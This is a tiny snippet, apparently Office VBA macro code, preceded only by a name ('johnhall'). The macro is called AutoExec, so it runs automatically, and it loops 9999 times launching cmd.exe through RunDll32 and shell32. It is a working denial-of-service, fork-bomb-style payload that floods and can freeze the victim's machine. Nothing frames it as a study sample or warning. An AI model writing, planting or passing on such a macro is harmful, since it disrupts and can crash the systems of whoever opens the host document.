johnhall

Sub AutoExec()
    dim i as integer
    For i = 1 To 9999
        Shell ("RunDll32.exe shell32.dll,ShellExec_RunDLL cmd.exe")
        doevents
  Next i
End Sub